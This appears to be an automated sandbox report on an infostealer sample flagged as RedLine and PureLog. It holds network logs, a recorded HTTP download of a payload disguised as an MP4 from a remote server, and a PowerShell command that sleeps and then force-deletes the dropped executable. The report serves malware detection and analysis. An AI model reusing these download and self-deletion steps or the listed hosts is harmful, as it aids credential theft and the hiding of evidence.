May 3, 2024 23:28:54.916414022 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.916666985 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.916829109 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.916980982 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.917028904 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.917238951 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.917506933 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.917599916 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.917870998 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.917932034 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.921705961 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.921719074 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.922032118 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.922128916 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.922401905 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.922518969 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.922590017 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.923015118 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.923069954 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.923351049 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.923589945 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.923645973 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.091029882 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.091176033 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.091427088 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.091717005 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.091732025 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.091784000 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.092029095 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.092345953 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.092614889 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.092926025 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.092998981 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.093072891 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.093492031 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.093734980 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.093857050 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.093974113 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.094233036 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.094383001 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.094465971 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.096596003 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.096826077 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.096893072 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.096949100 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.096957922 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.097269058 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.097546101 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.097630978 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098010063 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098247051 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098370075 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098534107 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098720074 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098891973 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.098902941 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.099014044 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.099481106 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.099684954 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.099853992 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.100284100 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.100634098 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.100756884 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.100989103 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.101231098 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.101294041 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.270001888 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.270204067 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.270498037 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.270657063 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.270710945 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.271146059 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.271200895 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.271327972 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.271759987 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.271842957 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.272105932 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.272501945 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.272593021 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.272732019 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.272945881 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.272957087 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.273092985 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.273374081 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.273577929 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.273758888 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.273904085 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.274252892 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.274534941 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.274638891 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.274857998 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.275105000 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.275258064 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.275446892 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.275580883 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.275897026 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.275988102 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.276163101 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.276319027 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.276477098 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.276702881 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.276818991 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.277079105 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.277211905 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.277363062 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.447025061 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.447282076 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.447423935 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.447571993 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.447779894 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.449208021 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.458957911 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.633570910 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.643251896 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.816896915 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:55.819158077 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:55.992841959 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:56.062529087 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:56.426038027 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:56.602871895 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:56.656354904 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:57.343341112 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:57.517538071 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:57.562589884 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:57.713871002 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:57.889548063 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:57.895200014 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:58.069442034 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:58.125118017 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:58.557048082 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:58.731326103 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:58.781380892 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:59.106127977 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:59.280519009 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.282669067 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.318027973 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:59.492166996 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.546902895 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:59.561361074 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:59.734488010 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.734812021 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.734929085 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.735176086 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.735344887 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.735702991 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.736557961 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.741292953 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:59.914226055 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.916802883 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.917042017 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:59.918550014 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:29:00.091820955 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:29:00.093707085 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:29:00.267384052 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:29:00.268264055 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:29:00.441798925 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:29:00.462637901 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:29:00.637746096 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:29:00.638075113 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:29:00.812055111 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:29:00.812943935 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:29:00.988532066 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:29:01.021783113 CEST	49738	26632	192.168.2.4	109.120.178.235

HTTP Request Dependency Graph

185.164.163.18

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.164.163.18	80	7608	C:\Users\user\Desktop\w74ALjpS5h.exe

Timestamp	Bytes transferred	Direction	Data
May 3, 2024 23:26:50.251697063 CEST	78	OUT	GET /soon/Rytkv.mp4 HTTP/1.1 Host: 185.164.163.18 Connection: Keep-Alive
May 3, 2024 23:26:50.423712969 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 03 May 2024 21:26:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 27 Apr 2024 15:31:47 GMT ETag: "232810-61715b7e11ec0" Accept-Ranges: bytes Content-Length: 2304016 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: video/mp4 Data Raw: d0 47 70 c1 54 4d 6b bf 42 7e a9 e0 59 f0 9f 50 73 5d f1 66 a1 65 4b e5 69 5f 59 86 b7 5b 77 3c 7d 0b 9a ca 31 5d 9a a6 53 ba 6f 8c 8c 48 2b cb 72 69 b7 4a d8 c5 fd 3b 36 71 da 6a 4c 97 af cc d4 fe 2e 24 13 bf 7c 70 19 71 47 be 99 4a 82 18 f7 5d d3 0d 49 29 36 66 c4 23 a1 b7 17 d7 2c 88 c8 8b 99 fb a0 60 1e 2f 41 66 54 b2 91 b4 e1 08 ef 0d 2a 35 02 4f 41 10 d5 9b b9 b3 ce de 4e bb e0 e2 43 55 34 1e 6c 76 64 05 38 24 95 58 71 34 3c d4 85 ac d0 ff fa 9d 14 38 ae 81 56 06 a3 30 c0 fc 6d ed 90 e8 57 e6 b9 26 a5 f7 b4 6c 87 c3 2e 53 a0 8a 43 ff c5 09 f4 6f 2c 58 0d a8 de e5 a3 71 22 80 0b f7 dc fc eb 14 e8 27 b1 e7 ac 65 19 68 cb 81 cc 97 07 07 dc 4f 99 fe 61 9b 64 c3 01 b7 52 c2 6a 73 30 c9 87 b6 73 57 7a d0 3f 36 6b 86 6b 4e 47 2a 88 fa c4 3b 21 14 32 bd 3e a5 d6 a7 a2 1e f2 99 cc fd 50 98 94 7a 3c 8f 58 09 bb 4c d7 7a 6b 3c 54 a1 3c d3 0f 39 f3 c3 22 1d 91 d5 c3 20 18 25 70 7f b6 06 5c f9 8e f5 99 df 60 6d 25 92 a3 0f b3 de c4 a9 a6 98 07 49 05 8c ec 3b 48 74 bb 9f ae cb b8 e8 dd 84 5b c7 a3 3d bc 11 [TRUNCATED] Data Ascii: GpTMkB~YPs]feKi_Y[w<}1]SoH+riJ;6qjL.$\|pqGJ]I)6f#,`/AfT5OANCU4lvd8$Xq4<8V0mW&l.SCo,Xq"'ehOadRjs0sWz?6kkNG;!2>Pz<XLzk<T<9" %p\`m%I;Ht[=zHR7y?e:i(3\|NW-F/odQa6YqH.ndl4Qj{86l"!W%{t}Hr&7>Nh'L~OJ;XBD%>SF>[3@`pMCl47!aJ]T3f}djaZb\_Z/#~`b7GGE^a#'3vW7MlD;$0{yAG[1nrm+xa\.fx?X#q33,HUtGQM'jt#^{w6y_+iZD.24!]zxQ Q0yXW)Pr;XG;7@.v-Bz;Jt$K#jr?tQ$&io@+4@uDAb&C;Pm7]i)M==Us-`?7{1j#M,7"ZmJa(}eNs/[eC
May 3, 2024 23:26:50.423758984 CEST	1289	IN	Data Raw: af 84 d1 b1 0f c0 2b d8 96 ae 24 0d 89 ca b7 04 25 26 46 52 50 34 ad b1 7e c3 42 cc 91 65 da 02 57 da 4e ee e6 b9 da a6 cd 72 84 e0 cd 9c 51 3e e4 14 12 58 cf d8 88 e6 c4 bb 3b b0 39 12 df 56 05 b3 c9 d3 7f 34 2a d5 92 87 70 1f cd 3e a1 78 82 e1 Data Ascii: +$%&FRP4~BeWNrQ>X;9V4*p>xB_!E}UqS{v`s42clU(9H1tiBg:AC+7^?SxO>&i.h3l\|31-eoRt;Oy@&Gr\
May 3, 2024 23:26:50.423796892 CEST	1289	IN	Data Raw: 14 8c a0 11 70 72 83 6c af 44 e5 f3 45 32 6d 18 46 0b 20 32 bf be c3 54 48 ca c4 8a 04 de cf 3a fc 5d f1 8c f2 bf 5d e5 c7 f9 f7 b4 19 9a a7 00 41 37 3c a3 a3 21 42 4b bd 30 b8 8a 6f 06 b0 b0 f2 06 e2 48 1f d7 f4 6a 1d be ae 6a fa fe 64 7e 2c 28 Data Ascii: prlDE2mF 2TH:]]A7<!BK0oHjjd~,(xiXiO6o94_xL,K{R<Wn[\:k>"NM23%K4R?y(}%*:>WU&Xd@_w.5u3j(Z~
May 3, 2024 23:26:50.423885107 CEST	1289	IN	Data Raw: 1d 9f b8 69 de 2f 9d 60 88 b0 01 82 e8 a7 37 ac 5d 26 7f 24 76 35 89 7b 10 15 14 4a 9e 81 5c aa d2 b2 85 a7 91 a5 28 80 9e 9b 0d ce db 9d 40 d9 ec 34 02 bb d2 f4 66 8b 8c 10 95 18 b3 f3 a4 c1 7e f1 eb c3 0c 39 88 5d b1 fc 8d eb 70 10 b5 e1 d4 34 Data Ascii: i/`7]&$v5{J\(@4f~9]p4^>`a(*b~ M !cWtF7a_jy6@G/hL2}Nb)PoU9\|tj,V46$$_m2#fMQ+z:LW:6%
May 3, 2024 23:26:50.423969030 CEST	1289	IN	Data Raw: 0d b2 6c d1 70 de 42 e7 e5 fe d2 f9 ad 39 86 41 71 c9 9b 42 43 9a 83 cc a7 21 cf a5 68 56 d5 1c 0e 1e ee 6d 8d 37 e4 eb 4a 61 68 ef 95 91 be c8 53 00 7f c0 73 86 c3 31 89 ef dd 47 20 08 b9 31 d9 c8 c0 c6 04 3e 6c c0 2a 09 0a ed 28 21 c6 5e c5 a0 Data Ascii: lpB9AqBC!hVm7JahSs1G 1>l(!^P:&/8rE]"-'40:R`bdk#{rD;3Roi\:rto*EL^'2`MmzY$?F2Ysh)h?=v05sNm
May 3, 2024 23:26:50.424010038 CEST	1289	IN	Data Raw: 00 3e b4 6f 68 18 f5 d8 bb a9 23 d0 71 74 6a 68 30 80 8b cd b5 17 75 ce 7d 9d 72 be 83 93 93 7f ad ae b8 6d b4 0b ac 2c 9d 65 f1 e3 9a 8a 7a fe 79 9a 6e 19 04 39 10 a6 a9 35 a4 91 b1 e6 12 29 1e 76 ec fd 1c c2 d2 bd 3b a7 12 0c fa 0a 9d 1c 49 63 Data Ascii: >oh#qtjh0u}rm,ezyn95)v;IcC"]2}xFApz\R~SnQARy'M95qa\8-Z0)NCN6\m)i\|fDY'LXSF&9/va?.DDCP}vosL!ay`
May 3, 2024 23:26:50.424323082 CEST	1289	IN	Data Raw: f4 67 bb 19 8f 98 ff bb 41 b9 05 c9 40 78 06 9b 01 84 22 fa 72 d3 eb 7c e0 aa 64 5c 97 45 bc 16 57 71 bf ef c0 aa b7 ba 4b b2 14 93 a5 4d 06 4f c4 4a b3 49 7b 8e 28 75 fc af db 3b bd 6b a7 6e ba 9d 9b d1 58 53 2a c7 f3 39 ab c1 0c 84 62 65 24 35 Data Ascii: gA@x"r\|d\EWqKMOJI{(u;knXS9be$5PlWsuIhhIE:3KE$a+7z%bq&E8m_5AYHMB>/9o#.y\|ZJ WP-c'V~#VYpI9;B{C$R]m]p
May 3, 2024 23:26:50.424571037 CEST	1289	IN	Data Raw: 1b 89 b8 62 ad 63 dc 3d b3 eb 5c cd 7c c2 9c e0 b8 95 86 a2 ed 3e c6 d7 cd f0 ac b0 7f d2 b3 04 d1 bb d7 ab 8c ac c7 2e 69 75 34 17 3b 50 61 7c 68 fc d4 f6 62 47 79 97 ec 1e 62 ab 94 8f 15 b7 63 1b 06 df 58 1a 9b a8 7f f5 ab 90 94 c2 00 ef 15 e0 Data Ascii: bc=\\|>.iu4;Pa\|hbGybcX kCmzT5dja-Jt2nJQG?D\|i?y-1AGyr('pW%i9^/'ou#!?KN/RHZaZEdYh
May 3, 2024 23:26:50.424582005 CEST	1289	IN	Data Raw: 9b 65 13 7d 2d 83 6e d1 08 56 f1 cb 3b f0 db de 4c 14 68 a7 b4 f4 4e 84 bd 08 89 65 d9 5d e5 20 35 34 81 68 b9 c3 13 3d 55 2f e1 bc 1a 8a dc ce fe 0a 85 bd e9 78 48 63 a9 7b 41 f0 cd dc 48 a5 e5 9b c2 00 e5 d1 98 bb 83 d6 80 df 7d e9 00 db e9 fb Data Ascii: e}-nV;LhNe] 54h=U/xHc{AH}T*bW<3Qj' uJ=TVJu'oW"(GA2V'~QJbifO.//uJyA7[w.3}]!\|il=WPi"+O<0f_7
May 3, 2024 23:26:50.424592972 CEST	1289	IN	Data Raw: 8a 3a 94 24 fb d9 24 5b 33 d9 bb d6 38 2f 5e d1 a3 f0 a9 8a 29 6a c1 b7 00 08 17 3a af 07 bf 30 86 60 6d a0 d8 b8 fe 2a a4 c7 72 74 64 dd 8a 08 f7 ee e7 3f 6e 64 d4 c7 af 5b c7 d4 47 9f 4a d8 c6 13 a3 2c 2f 58 3d 3f 57 75 85 f7 e3 3b 62 a0 89 c5 Data Ascii: :$$[38/^)j:0`m*rtd?nd[GJ,/X=?Wu;bXG3qsM:\|:/')9$CwWAXF%P@FO\|g\m'+T8N%Z4]h,9" 7\| g]Zr}<z5uZ+KL7e,'W~N$@t
May 3, 2024 23:26:50.589780092 CEST	1289	IN	Data Raw: 41 9a 5d 26 df bb c6 76 f5 08 4b ee 47 7b 43 59 a5 bf 4c 4b 05 cc c4 b6 fa 5d bf 51 b9 5c d5 27 22 37 90 1e 35 9c 1c 89 ab 3f 8b 77 99 9a ff 87 e6 d8 66 89 e0 0a b6 7a 87 f5 41 80 ae fe 15 62 6b 00 57 96 8c a8 ca e9 43 90 aa a5 fd 30 09 c6 c0 e5 Data Ascii: A]&vKG{CYLK]Q\'"75?wfzAbkWC0}/6?y3.S'z6J&JkK'bq=^!n*u}@\8)+Q<O_]+,9-d`7Bt4X]6!v4LM}sFYUi.+M?6Mn~

Target ID:	0
Start time:	23:26:49
Start date:	03/05/2024
Path:	C:\Users\user\Desktop\w74ALjpS5h.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\w74ALjpS5h.exe"
Imagebase:	0x320000
File size:	7'680 bytes
MD5 hash:	9DB696D411E33A3A68DB18B8A1680112
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2788551771.0000000006A71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2787706843.0000000006090000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2785953790.0000000005BA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2751630746.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2751630746.0000000003F2E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:28:43
Start date:	03/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x660000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.2911354847.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:28:43
Start date:	03/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force
Imagebase:	0x570000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:28:43
Start date:	03/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f330000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	49.5%
Signature Coverage:	13.7%
Total number of Nodes:	95
Total number of Limit Nodes:	5

Executed Functions

Function 056A0DC0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

poq, xrefs: 056A197A
TJpq, xrefs: 056A0F62
Tekq, xrefs: 056A14E3
xbnq, xrefs: 056A0EED
4'kq, xrefs: 056A1893

Memory Dump Source

Source File: 00000000.00000002.2785410221.00000000056A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_56a0000_w74ALjpS5h.jbxd

Similarity

API ID:
String ID: 4'kq$TJpq$Tekq$poq$xbnq
API String ID: 0-2301093937
Opcode ID: c1e817634a432f9334e8126e27943d41430e9d37cf968a8d9ad87f04d6397bd5
Instruction ID: 1883f1606d5fd592ab3924e20f94e53019a701ca4e017a267e07a724031d0a04
Opcode Fuzzy Hash: c1e817634a432f9334e8126e27943d41430e9d37cf968a8d9ad87f04d6397bd5
Instruction Fuzzy Hash: 03A2B775A00228CFDB65CF69C984AD9BBB2FF89304F1581E9D509AB365DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 056A0DB9 Relevance: 4.0, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJpq, xrefs: 056A0F62
Tekq, xrefs: 056A14E3
xbnq, xrefs: 056A0EED

Memory Dump Source

